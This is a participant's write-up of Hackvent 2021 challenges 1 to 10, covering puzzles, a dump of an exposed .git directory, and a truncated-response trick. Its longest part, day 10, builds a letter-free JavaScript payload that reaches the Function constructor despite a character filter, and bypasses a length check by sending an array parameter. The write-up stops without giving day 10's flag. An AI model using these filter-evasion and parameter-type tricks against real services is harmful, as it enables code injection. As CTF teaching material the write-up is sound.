HACKvent 2021 write-up

Hackvent 2021 is over!
Once again, this year’s Hackvent was terrific – even though it was uncertain until the start whether it would take place at all. Eventually, the event was a traditional, full-blown Hackvent! Thanks to all challenge contributors who made this possible. I especially loved both Blockchain challenges, the binary exploitation on day 14, and the reverse engineering challenge on day 22. Less pleasant was the fact that some challenges were very resource-intensive this year. Some challenges took several hours of computing time on my laptop.
This year I did manage to complete all the challenges. Unfortunately, not all of them within 24 hours to get the total score. I submitted the flag for three challenges late (day 10, 17, and 19). And like every year, I liked the discussions around the CTF very much. Shouts to ice, jokker, ludus, DrSchottky, and all other participants.

https://ranking.competition.hacking-lab.com/

[HV21.01] X-wORd Puzzle

Introduction

It seems the elves have sent us a message via a newspaper crossword puzzle. Can you solve it to find out what they want to tell us?

Instructions

  • Fill in the puzzle in all capital letters
  • The initial letters of each word are the solution – in order the same order the questions are asked:
    • horizontal words: top to bottom
    • vertical words: left to right

Horizontal

  1. A diagram of arrows not allowing cycles
  2. A handbag for carrying around money
  3. Very, very secure
  4. Golf: number of strokes required
  5. Congo between 1971 and 1997
  6. State of appearing everywhere
  7. Tuples in everyday language
  8. Makes you laugh or silences you

Vertical

  1. Plea by many doctors right now
  2. Put in parcels
  3. Lets you change user
  4. …-test
  5. How you should transmit your data
  6. Need to squash them – fix your code!
  7. Attributed to a marquis – no pain, no gain.
  8. Doing something in a way that causes fatigue is doing it…
  9. A drink you may need after finishing this puzzle.

Hints

  • the words are in order (ltr & ttb): first hint is for the top left horizontal word
  • number means number of chars in word
  • check the title – do you need all the letters?
  • we know how to hide gridlines
  • what seems redundant really isn’t – it’s the key you seek

Solution

With Google and the instructions it was more or less straight forward to find most of the needed words.
It was unclear how to generate the flag in the end, tough. According to the hint in the picture (XOR sign) the challenge category (crypto) and the title (XOR) it became abvious at some point that a XOR operation had to be computed. After some guessing I’ve found out that the initial letter of each word had to be xored with the character-length of the word. The number needs to be interpreted in ASCII, not as number.

I created an additional Excel file to help me solve this challenge.

Flag

HV{welcometohackvent}


[HV21.02] No source, No luck!

Thanks!

This challenge is brought to you by explo1t. There were no elves harmed during its creation.

Introduction

Now they’re just trolling you, aren’t they? They said there would be a flag, but now they’re not even talking to us for real, just shoving us along 😤 No manners, they got!

Solution

If we visit the website we get “rick-rolled” by being redirected to this youtube-video. Analyzing the link with curl led straight to the flag:

$ curl 2022e71f-12f7-4d18-8b0c-51b42d14d349.idocker.vuln.land-v -L

We can see that the file style.css is loaded. Let’s look closer at the CSS file:

$ curl 2022e71f-12f7-4d18-8b0c-51b42d14d349.idocker.vuln.land/style.css -v -L

The flag is just there in the “body::after” element.

Flag

HV21{h1dd3n_1n_css}


[HV21.03] Too Much GlItTer!

Thanks!

This challenge is brought to you by HaCk0. The reindeer helped!

Introduction

To celebrate Christmas even more the elves have setup a small website to help promote christmas on the internet. It is currently under heavy development but they wanted to show it off anyhow.

Unfortunately they made a pretty silly error which threatens the future of their project.

Goal

Can you help them find the vulnerability and retrieve the flag?

Solution

When we open the URL this website is presented to us:

According to the challenge title it was very clear to me that this challenge has something to do with GIT. Consequently, I tried to browse to the .git directory. And voila:

The next steps are very straight forward. I used GitTools to download all commits and branches of the repository and looked for the flag with grep.

$ ./Dumper/gitdumper.sh 87bb6e71-a303-4ea8-9a9c-90de760d0c97.idocker.vuln.land/.git/ git
$ ./Extractor/extractor.sh git/ extr/
$ grep -Rnsi "HV{" extr/
extr/1-b009ea9155d990aa9185e1157aaf583a636e93fd/flag.html:63:        <span style="font-size: 12pt !important;">Here is the flag: HV{n3V3r_Sh0w_Y0uR_.git}</span>

Flag

HV{n3V3r_Sh0w_Y0uR_.git}


[HV21.04] Christmas in Babylon

Thanks!

This challenge is brought to you by 2d3. They understand all the elves!

Introduction

Something weird happened to the elves, suddenly when one says something, there’s a number of the others required to translate what they mean. It only becomes clear in the end.

Goal

Can you help Santa understand what they’re saying?

Solution

Step 1 – C# – Decode with Python:

import base64
'''
using System;
using System.Text;
using static System.Console;

void Rev(string s){
var chars=Encoding.ASCII.GetString(Convert.FromBase64String(s)).ToCharArray();
Array.Reverse(chars);WriteLine(new string(chars));
}'''

def Rev(inp):
	decoded = base64.b64decode(inp).decode('utf-8')
	print(decoded[::-1])


Rev("KzgrKitoKysrKysreysrKysraSsvPiswK3krKz4oKysrKysrICsrPlQrKysrKysrKyt9KysrPlsrVCsrK3grKysr");
Rev("K2srICsrKysyKyt9KysrKysrPisrKytVKysrKysrKysrPisrNSsrKysrK3wrKysrNT4rKysrRCs2KytyKysqKz4r");
Rev("K0MrKysrKysrMj4rKytqKyArKysrKytMKysrICsrbys+KysrKysrKysrKys+KysgKytNKysraStQKysrditxKys+");
...

Step 2 – Running the Python-scripts results in Brainfuck-Code. We can run this code on the website https://copy.sh/brainfuck/.

Step 3 – The Brainfuck code returns a Bash-script.

$ ./code.sh > code.c

Step 4 – The next output is a Python script and a C code at the same time. The Python code wants a password. Let’s try with C first:

$ gcc -o code code.c
$ ./code
C+Python=Cython?

Step 5 – We use the output from the compiled C program as input for the Python script. (This took me a while to guess)

$ python3 code.c > code.php
C+Python=Cython?

Step 6 – The output of the python script is a PHP file

$ php code.php > code.js

Step 7 – The last file we got is a JavaScript file – although it is not readable at all (jsfuck.com). We can execute it in https://jsfiddle.net and get the flag.

Flag

HV21{-T00-many-weird-L4NGU4GE5-}


[HV21.05] X-Mas Jumper

Thanks!

This challenge is brought to you by monkey. Tight knitting!

Introduction

The elves have been getting into the festive spirit by making Christmas jumpers for themselves to wear in the workshop. They made one for Santa too, but it looks like they didn’t program the knitting machine correctly.

Goal

Can you untangle this mess and find the pattern they were trying to make?

Solution

I manually wrote down the pattern as follows: white -> 0, red -> 1. I ignored the two rows on each side. This results in this binary pattern:

111001111110011100101111111000000000001000010010
000100100100100100000000000100001001000010010010
010010011000110011111100100001010000001000010010
100101000010001001000100000100001001010010100001
000100100010000010000100101001010000100001100001
000001000010010100111100111000100000010001110000
110001100000000000000000000000000000000000000000
000011100110011100000000000111000000000000100010
010001000000000001000000000000010010000001001101
110110100000000000001110000011000010010010010000
000000000100100000010001001001001000000000000010
010000001001001001001000000000000001001000100010
001101100010000111111001110011001110000010100011
111100000000000000000000000000000000000000000000
001111111001111001111100000000000000000010000101
000010010001000000000000000001111000100011001000
010000000000000000100100010010100100001000000000
000000010000001010010010001000000000000000001000
000110001001111000000000000000000100000010000100
100010000000011111100111000000111100110001001111
110000000000000000000000000000011000000110000110
000000011100000000000010010001000010000000000100
000000000011100100100001001000100010000000111001
110010001000101100110001000000100010111000100011
110010001000100000011111001000100000001001000100
010000001000000100010000001000100010001000010100
010000001001111000001110101111110001110001001000

In a next step I replaced the 1 with a black unicode block and the 0 with a white unicode block.

⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬛⬜⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬛⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬛⬜⬛⬛⬛⬜⬛⬛⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬛⬜⬛⬛⬜⬜⬜⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬛⬜⬜⬜⬛⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬛⬛⬛⬜⬜⬜⬛⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬛⬛⬛⬜⬛⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬛⬛⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜

If we open this in a text editor and resize it accordingly we can read the flag.

Flag

HV{Too_K3wL_F0R_YuLe!}


[HV21.06] Snow Cube

Thanks!

This challenge is brought to you by Dr Nick. Stay out of blizzards!

Introduction

The ester bunny sent a gift to Santa – what is usually a crystal sphere seemed a bit too boring, so it’s a cube!

The snow seems to be falling somewhat strangely, is it possible that there’s a message hidden somewhere?

Resources

Please don’t stop the container when you’re done: everyone is using the same instance. If you stop it, others will have to restart it. And please don’t be a *@#!%. Everyone can write a script to stop the instance, but all that would do is take the fun away from others!

Solution

I copied the source code to debug it with https://jsfiddle.net.

In the beginning of the code we can spot that there is another calculation for alpha if “s” is set to true:

const canvas = document.getElementById("canvasSwonCube");
			const context = canvas.getContext("2d");
			let alpha = 0;
			let beta = 0;
			let s = false;

			let a = canvas.width;

			canvas.addEventListener('keydown', e => s = (e.key === 's'));
			canvas.addEventListener('keyup', e => s = false);
			canvas.addEventListener('mousemove', e => {
				var rect = e.target.getBoundingClientRect();
				alpha = s?((e.clientX-rect.left-a/2)*7/a):Math.sin(((e.clientX-rect.left-a/2)*7/a));
				beta = Math.sin(((e.clientY-rect.top-a/2)*7/a));
			});

Let’s change “s” to true and observe the snowman in the output window of JSFiddle. If we change the view and let the snowman look to the right side, we can observe characters coming down in the snow.

By collecting all the characters (this was not too easy!) we get the flag.

Flag

HV21{M3SSAGE_OUT_OF_FLAKES}


[HV21.07] Grinch’s Portscan

Thanks!

This challenge is brought to you by wangibangi. Watch your port(e)s around x-mas!

Introduction

The elves port-scanned grinch’s server and noticed something strange.

Goal

There’s a secret message hidden in the packet capture, can you find it?

Solution

After fiddling around for a bit in Wireshark I could find the flag. It is encoded in the ports which are requested, the ones where the server replies are valid characters. I used the following filter to get all matching packets:

"ip.src == 172.16.66.10 and tcp.len > 0":

Flag

HV21{c0nfuse_Portsc4nn3rs}


[HV21.08] Flag Service

Thanks!

This challenge is brought to you by nichtseb and logical overflow. Keep away from the white flags (never give up)!

Introduction

Santa has setup a web service for you to receive your flag for today. Unfortunately, the flag doesn’t seem to reach you.

Resources

Please don’t stop the container when you’re done: everyone is using the same instance. If you stop it, others will have to restart it. And please don’t be a *@#!%. Anyyone can write a script to stop the instance again and again, but all that would do is take the fun away from others!

Solution

This webserver returns a wrong (too short) content-length header. Browsers and other clients like curl only download the amount of bytes specified in this header. We see that the response from the server is too short (cut), because the HTML code is not correctly terminated.

$ curl 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land

<!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8" />
        <link rel="preconnect" href="https://fonts.googleapis.com">
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&display=swap" rel="stylesheet">

        <style>
        body{font-family: 'IBM Plex Mono', monospace;height: 100vh !important;background-image: url("https://source.unsplash.com/random");-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-color:#131627;color:#fff;overflow:hidden;}
        ::selection{background-color:rgba(0, 0, 0, 0);}
        #flex-wrapper{position:absolute;top:0;bottom:0;right:0;left:0;-ms-flex-direction:row;-ms-flex-align:center;display:-webkit-flex;display:flex}#container{margin:auto; z-index: 10; padding:25px;}#container *{margin:0}h1{text-align:center;font-size:60px;color:#131627;text-shadow:0 0 5px #fff;opacity:0;-webkit-animation:fade-in 3s ease-in 0s forwards;-moz-animation:fade-in 3s ease-in 0s forwards;-o-animation:fade-in 3s ease-in 0s forwards;animation:fade-in 3s ease-in 0s forwards}h2{font-size:50px;text-shadow:0 0 5px orange;text-align:center;opacity:0;-webkit-animation:fade-in 3s ease-in .5s forwards;-moz-animation:fade-in 3s ease-in .5s forwards;-o-animation:fade-in 3s ease-in .5s forwards;animation:fade-in 3s ease-in .5s forwards}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@-moz-keyframes fade-in{from{opacity:0}to{opacity:1}}@-o-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}}
        </style>
        <title>Flag Service</title>
    </head>
    <body>
        <div id="flex-wrapper">
        <div id="container">
            <h1>Thanks for using the Flag service.<br/> Your Flag is:</h1>
            <h2>

Fortunately, curl has a flag to ignore the content-length. This way we can get the whole website and read the flag.

$ curl 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land -v --ignore-content-length
*   Trying 152.96.7.2:80...
* TCP_NODELAY set
* Connected to 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land (152.96.7.2) port 80 (#0)
> GET / HTTP/1.1
> Host: 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html
< Content-Length: 1878
< 

<!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8" />
        <link rel="preconnect" href="https://fonts.googleapis.com">
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&display=swap" rel="stylesheet">

        <style>
        body{font-family: 'IBM Plex Mono', monospace;height: 100vh !important;background-image: url("https://source.unsplash.com/random");-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-color:#131627;color:#fff;overflow:hidden;}
        ::selection{background-color:rgba(0, 0, 0, 0);}
        #flex-wrapper{position:absolute;top:0;bottom:0;right:0;left:0;-ms-flex-direction:row;-ms-flex-align:center;display:-webkit-flex;display:flex}#container{margin:auto; z-index: 10; padding:25px;}#container *{margin:0}h1{text-align:center;font-size:60px;color:#131627;text-shadow:0 0 5px #fff;opacity:0;-webkit-animation:fade-in 3s ease-in 0s forwards;-moz-animation:fade-in 3s ease-in 0s forwards;-o-animation:fade-in 3s ease-in 0s forwards;animation:fade-in 3s ease-in 0s forwards}h2{font-size:50px;text-shadow:0 0 5px orange;text-align:center;opacity:0;-webkit-animation:fade-in 3s ease-in .5s forwards;-moz-animation:fade-in 3s ease-in .5s forwards;-o-animation:fade-in 3s ease-in .5s forwards;animation:fade-in 3s ease-in .5s forwards}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@-moz-keyframes fade-in{from{opacity:0}to{opacity:1}}@-o-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}}
        </style>
        <title>Flag Service</title>
    </head>
    <body>
        <div id="flex-wrapper">
        <div id="container">
            <h1>Thanks for using the Flag service.<br/> Your Flag is:</h1>
            <h2>HV21{4lw4y5_c0un7_y0ur53lf_d0n7_7ru57_7h3_53rv3r}</h2>
            </div>
        </div>
        </div>
    </body>
</html>
* Closing connection 0

Flag

HV21{4lw4y5_c0un7_y0ur53lf_d0n7_7ru57_7h3_53rv3r}


[HV21.09] Brother Santa

Thanks!

This challenge is brought to you by brp64. Amen!

Introduction

Ever security minded, Santa is. So switched to a prime encoding system he has, after contemplating for long.

Goal

Peace and prosperity – and, you know… the flag

Solution

Step 1: On the image we see cistercian numbers. We can decode them with the website https://www.dcode.fr/cistercian-numbers. The result is:

2314 6344 6333 4675 2268 3533 763 5940 1707 7377 4022 4870 7382 6109 385 4221

Step 2: We convert all the numbers into the binary representation and add leading zeros to all numbers which have less than 13 binary-digits. This second step took hours to guess.

0100100001010
1100011001000
1100010111101
1001001000011
0100011011100
0110111001101
0001011111011
1011100110100
0011010101011
1110011010001
0111110110110
1001100000110
1110011010110
1011111011101
0000110000001
1000001111101

Step 3: We convert this numbers to their ASCII representation and get the flag. This can be automatically done with cyber-chef.

Flag

HV21{$4n74_w45_4_m0nk_t00}


[HV21.10] Christmas Trophy

Thanks!

This challenge is brought to you by ice. Hole in one!

Introduction

The elves thought Santa should relax a bit, so they’re inviting him to a round of golf. But the organizers must have understood, when they get there, what they get is keyboards instead of clubs!

Goal

Write JS code that prints Hackvent without using characters from a-zA-Z\: or _. The code should be at most 400 characters.

const express = require('express');
const path = require('path');
const vm = require('vm');
const hbs = require('hbs');

const app = express();
const flag = require('./flag');

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'hbs');

app.get('/', function (req, res) {

    let output = '';
    const code = req.query.code;

    if (code && code.length < 400 && /^[^a-zA-Z\\\:\_]*$/.test(code)) {
        try {
            const result = new vm.Script(code).runInNewContext(undefined, {timeout: 500});

            if (result === 'Hackvent') {
                output = flag;
            } else {
                output = "Bad result: " + result;
            }
        } catch (e) {
            console.log(e);
            output = 'Exception :(';
        }
    } else {
        output = "Bad code";
    }

    res.render('index', {output});
});

app.get('/source', function (req, res) {
    res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;

Solution

I had a lot of trouble solving this challenge. This was one of the challenges which I didn’t solve within 24 hours.

I only solved the challenge because there is a (unintended) bug in the page, which allows to submit payloads longer than 400 characters. When submitting the code you can change the parameter from “code=” to “code[]=”. This results in the code variable becoming an array with one item and passing the size-check in the if clause – even if the code is longer than 400 characters.

To create my solution I used the online NodeJS debugger https://replit.com/languages/nodejs and I did run the application locally myself. I first elaborated a script which prints “Hackvent” and respects all the limitations except the length. To get the characters “S”, “g”, “m” and “C” I created the following loop which returns the string “0logwarndirtimetimeEndtimeLogtraceassertclearcountcountResetgroupgroupEndtabledebuginfodirxmlerrorgroupCollapsedConsoleprofileprofileEndtimeStampcontext” :

i = 0; for (x in console) {
  i += x;
}

I assign a variable to the loop to reference it later and get all missing characters. The script which prints “Hackvent” looks like this:

let c = ({} + "")[5];
let o = ({} + "")[1];
let n = ({}[1] + "")[1];
let s = (("."=="")+"")[3];
let t = ((""=="")+"")[0];
let r = ((""=="")+"")[1];
let u = ((""=="")+"")[2];
let e = ((""=="")+"")[3];
let l = (("."=="")+"")[2];
let f = ({}[1] + "")[4];
let i = ({}[1] + "")[5];
let a = (("." - 1)+"")[1];
let d = ({}[1] + "")[2];

let _constructor = c + o + n + s + t + r + u + c + t + o + r;
let _return = r + e + t + u + r + n;
let _console = c + o + n + s + o + l + e;
let _flat = f+l+a+t;
let _find = f+i+n+d;

let _for = f + o + r;
let _in = i + n;
let _loop = "(ä = '');" + _for + "(ö " + _in + " " + _console + ") {( ä += ö )}" + _return + " ä"

let res = [][_find][_constructor](_loop)()
console.log(res)
let _String = res[139]+t+r+i+n+res[2]
let _toString = t+o+_String
let h = (+(1+[0]+[1]))[_toString](2+[1])[1]

let _fromcharcode = f+r+o+res[12]+res[102]+h+a+r+res[102]+o+d+e
console.log(_fromcharcode)

let solution = [][_flat][_constructor](_return + " " + _String +"."+_fromcharcode+"(72,97,99,107,118,101,110,116)")()
console.log(solution)

Now, we need to create the final payload which we can send to the server.

let c = "({} + '')[5]"
let o = "({} + '')[1]"
let n = "({}[1] + '')[1]"
let s = "(('.'=='')+'')[3]"
let t = "((''=='')+'')[0]"
let r = "((''=='')+'')[1]"
let u = "((''=='')+'')[2]"
let e = "((''=='')+'')[3]"
let l = "(('.'=='')+'')[2]"
let f = "({}[1] + '')[4]"
let i = "({}[1] + '')[5]"
let a = "(('.' - 1)+'')[1]"
let d = "({}[1] + '')[2]"

let _constructor = c + "+" + o + "+"+n + "+" + s + "+" + t + "+" + r + "+" + u + "+" + c + "+" + t + "+" + o + "+" + r
let _return = r + "+" + e + "+" + t + "+" + u + "+" + r + "+" + n
let _console = c + "+" + o + "+" + n + "+" + s + "+" + o + "+" + l + "+" + e
let _flat = f+ "+" +l+ "+" +a+ "+" +t
let _find = f+ "+" +i+ "+" +n+ "+" +d

let _for = f + "+" + o + "+" + r
let _in = i + "+" + n
let _loop = "\"(ä = '');\"+" + _for + "+\"(ö \"+" + _in + "+\" \"+" + _console + "+\"){ ä += ö }\"+" + _return + "+\" ä;\""
let res = "[]["+_find+"]["+_constructor+"]("+_loop+")()"
console.log("[]["+_find+"]["+_constructor+"]("+"XXXXX)()")
console.log("Loop:")
console.log(_loop)
console.log("######")
console.log("[]["+_find+"]["+_constructor+"]("+_loop+")()")
$=[][({}[1]+'')[4]+({}[1]+'')[5]+({}[1]+'')[1]+({}[1]+'')[2]][({}+'')[5]+({}+'')[1]+({}[1]+'')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({}+'')[5]+((''=='')+'')[0]+({}+'')[1]+((''=='')+'')[1]]('(ä=0);'+({}[1]+'')[4]+({}+'')[1]+((''=='')+'')[1]+'(ö '+({}[1]+'')[5]+({}[1] + '')[1]+' '+({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+({} + '')[1]+(('.'=='')+'')[2]+((''=='')+'')[3]+'){ä+=ö}'+((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+' ä;')();
console.log("-----> " + $[157])
console.log("------------")
let _String = "$[157]+"+ t + "+" + r + "+" + i + "+" + n + "+" + "$[5]"
let _toString = t + "+" + o + "+" + _String
let h = "(+(1+[0]+[1]))[" + _toString +"](2+[1])[1]"
console.log(_String)
console.log(_toString)
console.log(h)
let _fromcharcode = f+ "+" +r+ "+" +o+ "+$[29]+$[51]+"+h+"+" +a+ "+" +r+ "+$[51]+ "+o+ "+" +d+ "+" +e
console.log("From-CharCode:")
console.log(_fromcharcode)
console.log("------------")

let _sol = _return + "+\" \"+" +_String + "+\".\"+" +_fromcharcode +"+\"(72,97,99,107,118,101,110,116)\""
let _solution ="[]["+_find+"]["+_constructor+"]("+_sol+")()"
console.log("Solution:")
console.log("$=[][({}[1]+'')[4]+({}[1]+'')[5]+({}[1]+'')[1]+({}[1]+'')[2]][({}+'')[5]+({}+'')[1]+({}[1]+'')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({}+'')[5]+((''=='')+'')[0]+({}+'')[1]+((''=='')+'')[1]]('(ä=0);'+({}[1]+'')[4]+({}+'')[1]+((''=='')+'')[1]+'(ö '+({}[1]+'')[5]+({}[1] + '')[1]+' '+({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+({} + '')[1]+(('.'=='')+'')[2]+((''=='')+'')[3]+'){ä+=ö}'+((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+' ä;')();")
console.log(_solution)
console.log("------------")

Among many debug messages this script prints the payload which we can send to the server. The length of the payload is 1285 characters though, therefore we need to circumvent the length check as described in the beginning.

